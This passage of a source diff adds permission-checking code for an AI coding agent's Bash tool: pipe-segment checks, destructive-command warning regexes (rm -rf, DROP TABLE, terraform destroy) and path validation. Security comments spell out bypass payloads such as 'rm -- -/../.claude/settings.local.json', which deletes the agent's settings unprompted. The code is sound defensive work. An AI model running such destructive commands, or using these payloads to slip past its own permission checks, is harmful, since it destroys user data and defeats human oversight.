+ // each segment is checked independently and neither triggers the cd+git check in
52
+ // bashPermissions.ts. We must detect this cross-segment pattern here.
53
+ // Each pipe segment can itself be a compound command (e.g., "cd sub && echo"),
54
+ // so we split each segment into subcommands before checking.
55
+ {
56
+ let hasCd = false
57
+ let hasGit = false
58
+ for (const segment of segments) {
59
+ const subcommands = splitCommand_DEPRECATED(segment)
60
+ for (const sub of subcommands) {
61
+ const trimmed = sub.trim()
62
+ if (checkers.isNormalizedCdCommand(trimmed)) {
63
+ hasCd = true
64
+ }
65
+ if (checkers.isNormalizedGitCommand(trimmed)) {
66
+ hasGit = true
67
+ }
68
+ }
69
+ }
70
+ if (hasCd && hasGit) {
71
+ const decisionReason = {
72
+ type: 'other' as const,
73
+ reason:
74
+ 'Compound commands with cd and git require approval to prevent bare repository attacks',
75
+ }
76
+ return {
77
+ behavior: 'ask',
78
+ decisionReason,
79
+ message: createPermissionRequestMessage(BashTool.name, decisionReason),
80
+ }
81
+ }
82
+ }
83
+
84
+ const segmentResults = new Map<string, PermissionResult>()
85
+
86
+ // Check each segment through the full permission system
87
+ for (const segment of segments) {
88
+ const trimmedSegment = segment.trim()
89
+ if (!trimmedSegment) continue // Skip empty segments
90
+
91
+ const segmentResult = await bashToolHasPermissionFn({
92
+ ...input,
93
+ command: trimmedSegment,
94
+ })
95
+ segmentResults.set(trimmedSegment, segmentResult)
96
+ }
97
+
98
+ // Check if any segment is denied (after evaluating all)
99
+ const deniedSegment = Array.from(segmentResults.entries()).find(
100
+ ([, result]) => result.behavior === 'deny',
101
+ )
102
+
103
+ if (deniedSegment) {
104
+ const [segmentCommand, segmentResult] = deniedSegment
105
+ return {
106
+ behavior: 'deny',
107
+ message:
108
+ segmentResult.behavior === 'deny'
109
+ ? segmentResult.message
110
+ : `Permission denied for: ${segmentCommand}`,
111
+ decisionReason: {
112
+ type: 'subcommandResults',
113
+ reasons: segmentResults,
114
+ },
115
+ }
116
+ }
117
+
118
+ const allAllowed = Array.from(segmentResults.values()).every(
119
+ result => result.behavior === 'allow',
120
+ )
121
+
122
+ if (allAllowed) {
123
+ return {
124
+ behavior: 'allow',
125
+ updatedInput: input,
126
+ decisionReason: {
127
+ type: 'subcommandResults',
128
+ reasons: segmentResults,
129
+ },
130
+ }
131
+ }
132
+
133
+ // Collect suggestions from segments that need approval
134
+ const suggestions: PermissionUpdate[] = []
135
+ for (const [, result] of segmentResults) {
136
+ if (
137
+ result.behavior !== 'allow' &&
138
+ 'suggestions' in result &&
139
+ result.suggestions
140
+ ) {
141
+ suggestions.push(...result.suggestions)
142
+ }
143
+ }
144
+
145
+ const decisionReason = {
146
+ type: 'subcommandResults' as const,
147
+ reasons: segmentResults,
148
+ }
149
+
150
+ return {
151
+ behavior: 'ask',
152
+ message: createPermissionRequestMessage(BashTool.name, decisionReason),
153
+ decisionReason,
154
+ suggestions: suggestions.length > 0 ? suggestions : undefined,
155
+ }
156
+ }
157
+
158
+ /**
159
+ * Builds a command segment, stripping output redirections to avoid
160
+ * treating filenames as commands in permission checking.
161
+ * Uses ParsedCommand to preserve original quoting.
162
+ */
163
+ async function buildSegmentWithoutRedirections(
164
+ segmentCommand: string,
165
+ ): Promise<string> {
166
+ // Fast path: skip parsing if no redirection operators present
167
+ if (!segmentCommand.includes('>')) {
168
+ return segmentCommand
169
+ }
170
+
171
+ // Use ParsedCommand to strip redirections while preserving quotes
172
+ const parsed = await ParsedCommand.parse(segmentCommand)
173
+ return parsed?.withoutOutputRedirections() ?? segmentCommand
174
+ }
175
+
176
+ /**
177
+ * Wrapper that resolves an IParsedCommand (from a pre-parsed AST root if
178
+ * available, else via ParsedCommand.parse) and delegates to
179
+ * bashToolCheckCommandOperatorPermissions.
180
+ */
181
+ export async function checkCommandOperatorPermissions(
182
+ input: z.infer<typeof BashTool.inputSchema>,
183
+ bashToolHasPermissionFn: (
184
+ input: z.infer<typeof BashTool.inputSchema>,
185
+ ) => Promise<PermissionResult>,
186
+ checkers: CommandIdentityCheckers,
187
+ astRoot: Node | null | typeof PARSE_ABORTED,
188
+ ): Promise<PermissionResult> {
189
+ const parsed =
190
+ astRoot && astRoot !== PARSE_ABORTED
191
+ ? buildParsedCommandFromRoot(input.command, astRoot)
192
+ : await ParsedCommand.parse(input.command)
193
+ if (!parsed) {
194
+ return { behavior: 'passthrough', message: 'Failed to parse command' }
195
+ }
196
+ return bashToolCheckCommandOperatorPermissions(
197
+ input,
198
+ bashToolHasPermissionFn,
199
+ checkers,
200
+ parsed,
201
+ )
202
+ }
203
+
204
+ /**
205
+ * Checks if the command has special operators that require behavior beyond
206
+ * simple subcommand checking.
207
+ */
208
+ async function bashToolCheckCommandOperatorPermissions(
209
+ input: z.infer<typeof BashTool.inputSchema>,
210
+ bashToolHasPermissionFn: (
211
+ input: z.infer<typeof BashTool.inputSchema>,
212
+ ) => Promise<PermissionResult>,
213
+ checkers: CommandIdentityCheckers,
214
+ parsed: IParsedCommand,
215
+ ): Promise<PermissionResult> {
216
+ // 1. Check for unsafe compound commands (subshells, command groups).
217
+ const tsAnalysis = parsed.getTreeSitterAnalysis()
218
+ const isUnsafeCompound = tsAnalysis
219
+ ? tsAnalysis.compoundStructure.hasSubshell ||
220
+ tsAnalysis.compoundStructure.hasCommandGroup
221
+ : isUnsafeCompoundCommand_DEPRECATED(input.command)
222
+ if (isUnsafeCompound) {
223
+ // This command contains an operator like `>` that we don't support as a subcommand separator
224
+ // Check if bashCommandIsSafe_DEPRECATED has a more specific message
225
+ const safetyResult = await bashCommandIsSafeAsync_DEPRECATED(input.command)
226
+
227
+ const decisionReason = {
228
+ type: 'other' as const,
229
+ reason:
230
+ safetyResult.behavior === 'ask' && safetyResult.message
231
+ ? safetyResult.message
232
+ : 'This command uses shell operators that require approval for safety',
233
+ }
234
+ return {
235
+ behavior: 'ask',
236
+ message: createPermissionRequestMessage(BashTool.name, decisionReason),
237
+ decisionReason,
238
+ // This is an unsafe compound command, so we don't want to suggest rules since we wont be able to allow it
239
+ }
240
+ }
241
+
242
+ // 2. Check for piped commands using ParsedCommand (preserves quotes)
243
+ const pipeSegments = parsed.getPipeSegments()
244
+
245
+ // If no pipes (single segment), let normal flow handle it
246
+ if (pipeSegments.length <= 1) {
247
+ return {
248
+ behavior: 'passthrough',
249
+ message: 'No pipes found in command',
250
+ }
251
+ }
252
+
253
+ // Strip output redirections from each segment while preserving quotes
254
+ const segments = await Promise.all(
255
+ pipeSegments.map(segment => buildSegmentWithoutRedirections(segment)),
256
+ )
257
+
258
+ // Handle as segmented command
259
+ return segmentedCommandPermissionResult(
260
+ input,
261
+ segments,
262
+ bashToolHasPermissionFn,
263
+ checkers,
264
+ )
265
+ }
src/tools/BashTool/bashSecurity.ts ADDED
The diff for this file is too large to render. See raw diff
 
src/tools/BashTool/commentLabel.ts ADDED
@@ -0,0 +1,13 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /**
2
+ * If the first line of a bash command is a `# comment` (not a `#!` shebang),
3
+ * return the comment text stripped of the `#` prefix. Otherwise undefined.
4
+ *
5
+ * Under fullscreen mode this is the non-verbose tool-use label AND the
6
+ * collapse-group ⎿ hint — it's what Claude wrote for the human to read.
7
+ */
8
+ export function extractBashCommentLabel(command: string): string | undefined {
9
+ const nl = command.indexOf('\n')
10
+ const firstLine = (nl === -1 ? command : command.slice(0, nl)).trim()
11
+ if (!firstLine.startsWith('#') || firstLine.startsWith('#!')) return undefined
12
+ return firstLine.replace(/^#+\s*/, '') || undefined
13
+ }
src/tools/BashTool/destructiveCommandWarning.ts ADDED
@@ -0,0 +1,102 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /**
2
+ * Detects potentially destructive bash commands and returns a warning string
3
+ * for display in the permission dialog. This is purely informational — it
4
+ * doesn't affect permission logic or auto-approval.
5
+ */
6
+
7
+ type DestructivePattern = {
8
+ pattern: RegExp
9
+ warning: string
10
+ }
11
+
12
+ const DESTRUCTIVE_PATTERNS: DestructivePattern[] = [
13
+ // Git — data loss / hard to reverse
14
+ {
15
+ pattern: /\bgit\s+reset\s+--hard\b/,
16
+ warning: 'Note: may discard uncommitted changes',
17
+ },
18
+ {
19
+ pattern: /\bgit\s+push\b[^;&|\n]*[ \t](--force|--force-with-lease|-f)\b/,
20
+ warning: 'Note: may overwrite remote history',
21
+ },
22
+ {
23
+ pattern:
24
+ /\bgit\s+clean\b(?![^;&|\n]*(?:-[a-zA-Z]*n|--dry-run))[^;&|\n]*-[a-zA-Z]*f/,
25
+ warning: 'Note: may permanently delete untracked files',
26
+ },
27
+ {
28
+ pattern: /\bgit\s+checkout\s+(--\s+)?\.[ \t]*($|[;&|\n])/,
29
+ warning: 'Note: may discard all working tree changes',
30
+ },
31
+ {
32
+ pattern: /\bgit\s+restore\s+(--\s+)?\.[ \t]*($|[;&|\n])/,
33
+ warning: 'Note: may discard all working tree changes',
34
+ },
35
+ {
36
+ pattern: /\bgit\s+stash[ \t]+(drop|clear)\b/,
37
+ warning: 'Note: may permanently remove stashed changes',
38
+ },
39
+ {
40
+ pattern:
41
+ /\bgit\s+branch\s+(-D[ \t]|--delete\s+--force|--force\s+--delete)\b/,
42
+ warning: 'Note: may force-delete a branch',
43
+ },
44
+
45
+ // Git — safety bypass
46
+ {
47
+ pattern: /\bgit\s+(commit|push|merge)\b[^;&|\n]*--no-verify\b/,
48
+ warning: 'Note: may skip safety hooks',
49
+ },
50
+ {
51
+ pattern: /\bgit\s+commit\b[^;&|\n]*--amend\b/,
52
+ warning: 'Note: may rewrite the last commit',
53
+ },
54
+
55
+ // File deletion (dangerous paths already handled by checkDangerousRemovalPaths)
56
+ {
57
+ pattern:
58
+ /(^|[;&|\n]\s*)rm\s+-[a-zA-Z]*[rR][a-zA-Z]*f|(^|[;&|\n]\s*)rm\s+-[a-zA-Z]*f[a-zA-Z]*[rR]/,
59
+ warning: 'Note: may recursively force-remove files',
60
+ },
61
+ {
62
+ pattern: /(^|[;&|\n]\s*)rm\s+-[a-zA-Z]*[rR]/,
63
+ warning: 'Note: may recursively remove files',
64
+ },
65
+ {
66
+ pattern: /(^|[;&|\n]\s*)rm\s+-[a-zA-Z]*f/,
67
+ warning: 'Note: may force-remove files',
68
+ },
69
+
70
+ // Database
71
+ {
72
+ pattern: /\b(DROP|TRUNCATE)\s+(TABLE|DATABASE|SCHEMA)\b/i,
73
+ warning: 'Note: may drop or truncate database objects',
74
+ },
75
+ {
76
+ pattern: /\bDELETE\s+FROM\s+\w+[ \t]*(;|"|'|\n|$)/i,
77
+ warning: 'Note: may delete all rows from a database table',
78
+ },
79
+
80
+ // Infrastructure
81
+ {
82
+ pattern: /\bkubectl\s+delete\b/,
83
+ warning: 'Note: may delete Kubernetes resources',
84
+ },
85
+ {
86
+ pattern: /\bterraform\s+destroy\b/,
87
+ warning: 'Note: may destroy Terraform infrastructure',
88
+ },
89
+ ]
90
+
91
+ /**
92
+ * Checks if a bash command matches known destructive patterns.
93
+ * Returns a human-readable warning string, or null if no destructive pattern is detected.
94
+ */
95
+ export function getDestructiveCommandWarning(command: string): string | null {
96
+ for (const { pattern, warning } of DESTRUCTIVE_PATTERNS) {
97
+ if (pattern.test(command)) {
98
+ return warning
99
+ }
100
+ }
101
+ return null
102
+ }
src/tools/BashTool/modeValidation.ts ADDED
@@ -0,0 +1,115 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import type { z } from 'zod/v4'
2
+ import type { ToolPermissionContext } from '../../Tool.js'
3
+ import { splitCommand_DEPRECATED } from '../../utils/bash/commands.js'
4
+ import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
5
+ import type { BashTool } from './BashTool.js'
6
+
7
+ const ACCEPT_EDITS_ALLOWED_COMMANDS = [
8
+ 'mkdir',
9
+ 'touch',
10
+ 'rm',
11
+ 'rmdir',
12
+ 'mv',
13
+ 'cp',
14
+ 'sed',
15
+ ] as const
16
+
17
+ type FilesystemCommand = (typeof ACCEPT_EDITS_ALLOWED_COMMANDS)[number]
18
+
19
+ function isFilesystemCommand(command: string): command is FilesystemCommand {
20
+ return ACCEPT_EDITS_ALLOWED_COMMANDS.includes(command as FilesystemCommand)
21
+ }
22
+
23
+ function validateCommandForMode(
24
+ cmd: string,
25
+ toolPermissionContext: ToolPermissionContext,
26
+ ): PermissionResult {
27
+ const trimmedCmd = cmd.trim()
28
+ const [baseCmd] = trimmedCmd.split(/\s+/)
29
+
30
+ if (!baseCmd) {
31
+ return {
32
+ behavior: 'passthrough',
33
+ message: 'Base command not found',
34
+ }
35
+ }
36
+
37
+ // In Accept Edits mode, auto-allow filesystem operations
38
+ if (
39
+ toolPermissionContext.mode === 'acceptEdits' &&
40
+ isFilesystemCommand(baseCmd)
41
+ ) {
42
+ return {
43
+ behavior: 'allow',
44
+ updatedInput: { command: cmd },
45
+ decisionReason: {
46
+ type: 'mode',
47
+ mode: 'acceptEdits',
48
+ },
49
+ }
50
+ }
51
+
52
+ return {
53
+ behavior: 'passthrough',
54
+ message: `No mode-specific handling for '${baseCmd}' in ${toolPermissionContext.mode} mode`,
55
+ }
56
+ }
57
+
58
+ /**
59
+ * Checks if commands should be handled differently based on the current permission mode
60
+ *
61
+ * This is the main entry point for mode-based permission logic.
62
+ * Currently handles Accept Edits mode for filesystem commands,
63
+ * but designed to be extended for other modes.
64
+ *
65
+ * @param input - The bash command input
66
+ * @param toolPermissionContext - Context containing mode and permissions
67
+ * @returns
68
+ * - 'allow' if the current mode permits auto-approval
69
+ * - 'ask' if the command needs approval in current mode
70
+ * - 'passthrough' if no mode-specific handling applies
71
+ */
72
+ export function checkPermissionMode(
73
+ input: z.infer<typeof BashTool.inputSchema>,
74
+ toolPermissionContext: ToolPermissionContext,
75
+ ): PermissionResult {
76
+ // Skip if in bypass mode (handled elsewhere)
77
+ if (toolPermissionContext.mode === 'bypassPermissions') {
78
+ return {
79
+ behavior: 'passthrough',
80
+ message: 'Bypass mode is handled in main permission flow',
81
+ }
82
+ }
83
+
84
+ // Skip if in dontAsk mode (handled in main permission flow)
85
+ if (toolPermissionContext.mode === 'dontAsk') {
86
+ return {
87
+ behavior: 'passthrough',
88
+ message: 'DontAsk mode is handled in main permission flow',
89
+ }
90
+ }
91
+
92
+ const commands = splitCommand_DEPRECATED(input.command)
93
+
94
+ // Check each subcommand
95
+ for (const cmd of commands) {
96
+ const result = validateCommandForMode(cmd, toolPermissionContext)
97
+
98
+ // If any command triggers mode-specific behavior, return that result
99
+ if (result.behavior !== 'passthrough') {
100
+ return result
101
+ }
102
+ }
103
+
104
+ // No mode-specific handling needed
105
+ return {
106
+ behavior: 'passthrough',
107
+ message: 'No mode-specific validation required',
108
+ }
109
+ }
110
+
111
+ export function getAutoAllowedCommands(
112
+ mode: ToolPermissionContext['mode'],
113
+ ): readonly string[] {
114
+ return mode === 'acceptEdits' ? ACCEPT_EDITS_ALLOWED_COMMANDS : []
115
+ }
src/tools/BashTool/pathValidation.ts ADDED
@@ -0,0 +1,1303 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { homedir } from 'os'
2
+ import { isAbsolute, resolve } from 'path'
3
+ import type { z } from 'zod/v4'
4
+ import type { ToolPermissionContext } from '../../Tool.js'
5
+ import type { Redirect, SimpleCommand } from '../../utils/bash/ast.js'
6
+ import {
7
+ extractOutputRedirections,
8
+ splitCommand_DEPRECATED,
9
+ } from '../../utils/bash/commands.js'
10
+ import { tryParseShellCommand } from '../../utils/bash/shellQuote.js'
11
+ import { getDirectoryForPath } from '../../utils/path.js'
12
+ import { allWorkingDirectories } from '../../utils/permissions/filesystem.js'
13
+ import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
14
+ import { createReadRuleSuggestion } from '../../utils/permissions/PermissionUpdate.js'
15
+ import type { PermissionUpdate } from '../../utils/permissions/PermissionUpdateSchema.js'
16
+ import {
17
+ expandTilde,
18
+ type FileOperationType,
19
+ formatDirectoryList,
20
+ isDangerousRemovalPath,
21
+ validatePath,
22
+ } from '../../utils/permissions/pathValidation.js'
23
+ import type { BashTool } from './BashTool.js'
24
+ import { stripSafeWrappers } from './bashPermissions.js'
25
+ import { sedCommandIsAllowedByAllowlist } from './sedValidation.js'
26
+
27
+ export type PathCommand =
28
+ | 'cd'
29
+ | 'ls'
30
+ | 'find'
31
+ | 'mkdir'
32
+ | 'touch'
33
+ | 'rm'
34
+ | 'rmdir'
35
+ | 'mv'
36
+ | 'cp'
37
+ | 'cat'
38
+ | 'head'
39
+ | 'tail'
40
+ | 'sort'
41
+ | 'uniq'
42
+ | 'wc'
43
+ | 'cut'
44
+ | 'paste'
45
+ | 'column'
46
+ | 'tr'
47
+ | 'file'
48
+ | 'stat'
49
+ | 'diff'
50
+ | 'awk'
51
+ | 'strings'
52
+ | 'hexdump'
53
+ | 'od'
54
+ | 'base64'
55
+ | 'nl'
56
+ | 'grep'
57
+ | 'rg'
58
+ | 'sed'
59
+ | 'git'
60
+ | 'jq'
61
+ | 'sha256sum'
62
+ | 'sha1sum'
63
+ | 'md5sum'
64
+
65
+ /**
66
+ * Checks if an rm/rmdir command targets dangerous paths that should always
67
+ * require explicit user approval, even if allowlist rules exist.
68
+ * This prevents catastrophic data loss from commands like `rm -rf /`.
69
+ */
70
+ function checkDangerousRemovalPaths(
71
+ command: 'rm' | 'rmdir',
72
+ args: string[],
73
+ cwd: string,
74
+ ): PermissionResult {
75
+ // Extract paths using the existing path extractor
76
+ const extractor = PATH_EXTRACTORS[command]
77
+ const paths = extractor(args)
78
+
79
+ for (const path of paths) {
80
+ // Expand tilde and resolve to absolute path
81
+ // NOTE: We check the path WITHOUT resolving symlinks, because dangerous paths
82
+ // like /tmp should be caught even though /tmp is a symlink to /private/tmp on macOS
83
+ const cleanPath = expandTilde(path.replace(/^['"]|['"]$/g, ''))
84
+ const absolutePath = isAbsolute(cleanPath)
85
+ ? cleanPath
86
+ : resolve(cwd, cleanPath)
87
+
88
+ // Check if this is a dangerous path (using the non-symlink-resolved path)
89
+ if (isDangerousRemovalPath(absolutePath)) {
90
+ return {
91
+ behavior: 'ask',
92
+ message: `Dangerous ${command} operation detected: '${absolutePath}'\n\nThis command would remove a critical system directory. This requires explicit approval and cannot be auto-allowed by permission rules.`,
93
+ decisionReason: {
94
+ type: 'other',
95
+ reason: `Dangerous ${command} operation on critical path: ${absolutePath}`,
96
+ },
97
+ // Don't provide suggestions - we don't want to encourage saving dangerous commands
98
+ suggestions: [],
99
+ }
100
+ }
101
+ }
102
+
103
+ // No dangerous paths found
104
+ return {
105
+ behavior: 'passthrough',
106
+ message: `No dangerous removals detected for ${command} command`,
107
+ }
108
+ }
109
+
110
+ /**
111
+ * SECURITY: Extract positional (non-flag) arguments, correctly handling the
112
+ * POSIX `--` end-of-options delimiter.
113
+ *
114
+ * Most commands (rm, cat, touch, etc.) stop parsing options at `--` and treat
115
+ * ALL subsequent arguments as positional, even if they start with `-`. Naive
116
+ * `!arg.startsWith('-')` filtering drops these, causing path validation to be
117
+ * silently skipped for attack payloads like:
118
+ *
119
+ * rm -- -/../.claude/settings.local.json
120
+ *
121
+ * Here `-/../.claude/settings.local.json` starts with `-` so the naive filter
122
+ * drops it, validation sees zero paths, returns passthrough, and the file is
123
+ * deleted without a prompt. With `--` handling, the path IS extracted and
124
+ * validated (blocked by isClaudeConfigFilePath / pathInAllowedWorkingPath).
125
+ */
126
+ function filterOutFlags(args: string[]): string[] {
127
+ const result: string[] = []
128
+ let afterDoubleDash = false
129
+ for (const arg of args) {
130
+ if (afterDoubleDash) {
131
+ result.push(arg)
132
+ } else if (arg === '--') {
133
+ afterDoubleDash = true
134
+ } else if (!arg?.startsWith('-')) {
135
+ result.push(arg)
136
+ }
137
+ }
138
+ return result
139
+ }
140
+
141
+ // Helper: Parse grep/rg style commands (pattern then paths)
142
+ function parsePatternCommand(
143
+ args: string[],
144
+ flagsWithArgs: Set<string>,
145
+ defaults: string[] = [],
146
+ ): string[] {
147
+ const paths: string[] = []
148
+ let patternFound = false
149
+ // SECURITY: Track `--` end-of-options delimiter. After `--`, all args are
150
+ // positional regardless of leading `-`. See filterOutFlags() doc comment.
151
+ let afterDoubleDash = false
152
+
153
+ for (let i = 0; i < args.length; i++) {
154
+ const arg = args[i]
155
+ if (arg === undefined || arg === null) continue
156
+
157
+ if (!afterDoubleDash && arg === '--') {
158
+ afterDoubleDash = true
159
+ continue
160
+ }
161
+
162
+ if (!afterDoubleDash && arg.startsWith('-')) {
163
+ const flag = arg.split('=')[0]
164
+ // Pattern flags mark that we've found the pattern
165
+ if (flag && ['-e', '--regexp', '-f', '--file'].includes(flag)) {
166
+ patternFound = true
167
+ }
168
+ // Skip next arg if flag needs it
169
+ if (flag && flagsWithArgs.has(flag) && !arg.includes('=')) {
170
+ i++
171
+ }
172
+ continue
173
+ }
174
+
175
+ // First non-flag is pattern, rest are paths
176
+ if (!patternFound) {
177
+ patternFound = true
178
+ continue
179
+ }
180
+ paths.push(arg)
181
+ }
182
+
183
+ return paths.length > 0 ? paths : defaults
184
+ }
185
+
186
+ /**
187
+ * Extracts paths from command arguments for different path commands.
188
+ * Each command has specific logic for how it handles paths and flags.
189
+ */
190
+ export const PATH_EXTRACTORS: Record<
191
+ PathCommand,
192
+ (args: string[]) => string[]
193
+ > = {
194
+ // cd: special case - all args form one path
195
+ cd: args => (args.length === 0 ? [homedir()] : [args.join(' ')]),
196
+
197
+ // ls: filter flags, default to current dir
198
+ ls: args => {
199
+ const paths = filterOutFlags(args)
200
+ return paths.length > 0 ? paths : ['.']
201
+ },
202
+
203
+ // find: collect paths until hitting a real flag, also check path-taking flags
204
+ // SECURITY: `find -- -path` makes `-path` a starting point (not a predicate).
205
+ // GNU find supports `--` to allow search roots starting with `-`. After `--`,
206
+ // we conservatively collect all remaining args as paths to validate. This
207
+ // over-includes predicates like `-name foo`, but find is a read-only op and
208
+ // predicates resolve to paths within cwd (allowed), so no false blocks for
209
+ // legitimate use. The over-inclusion ensures attack paths like
210
+ // `find -- -/../../etc` are caught.
211
+ find: args => {
212
+ const paths: string[] = []
213
+ const pathFlags = new Set([
214
+ '-newer',
215
+ '-anewer',
216
+ '-cnewer',
217
+ '-mnewer',
218
+ '-samefile',
219
+ '-path',
220
+ '-wholename',
221
+ '-ilname',
222
+ '-lname',
223
+ '-ipath',
224
+ '-iwholename',
225
+ ])
226
+ const newerPattern = /^-newer[acmBt][acmtB]$/
227
+ let foundNonGlobalFlag = false
228
+ let afterDoubleDash = false
229
+
230
+ for (let i = 0; i < args.length; i++) {
231
+ const arg = args[i]
232
+ if (!arg) continue
233
+
234
+ if (afterDoubleDash) {
235
+ paths.push(arg)
236
+ continue
237
+ }
238
+
239
+ if (arg === '--') {
240
+ afterDoubleDash = true
241
+ continue
242
+ }
243
+
244
+ // Handle flags
245
+ if (arg.startsWith('-')) {
246
+ // Global options don't stop collection
247
+ if (['-H', '-L', '-P'].includes(arg)) continue
248
+
249
+ // Mark that we've seen a non-global flag
250
+ foundNonGlobalFlag = true
251
+
252
+ // Check if this flag takes a path argument
253
+ if (pathFlags.has(arg) || newerPattern.test(arg)) {
254
+ const nextArg = args[i + 1]
255
+ if (nextArg) {
256
+ paths.push(nextArg)
257
+ i++ // Skip the path we just processed
258
+ }
259
+ }
260
+ continue
261
+ }
262
+
263
+ // Only collect non-flag arguments before first non-global flag
264
+ if (!foundNonGlobalFlag) {
265
+ paths.push(arg)
266
+ }
267
+ }
268
+ return paths.length > 0 ? paths : ['.']
269
+ },
270
+
271
+ // All simple commands: just filter out flags
272
+ mkdir: filterOutFlags,
273
+ touch: filterOutFlags,
274
+ rm: filterOutFlags,
275
+ rmdir: filterOutFlags,
276
+ mv: filterOutFlags,
277
+ cp: filterOutFlags,
278
+ cat: filterOutFlags,
279
+ head: filterOutFlags,
280
+ tail: filterOutFlags,
281
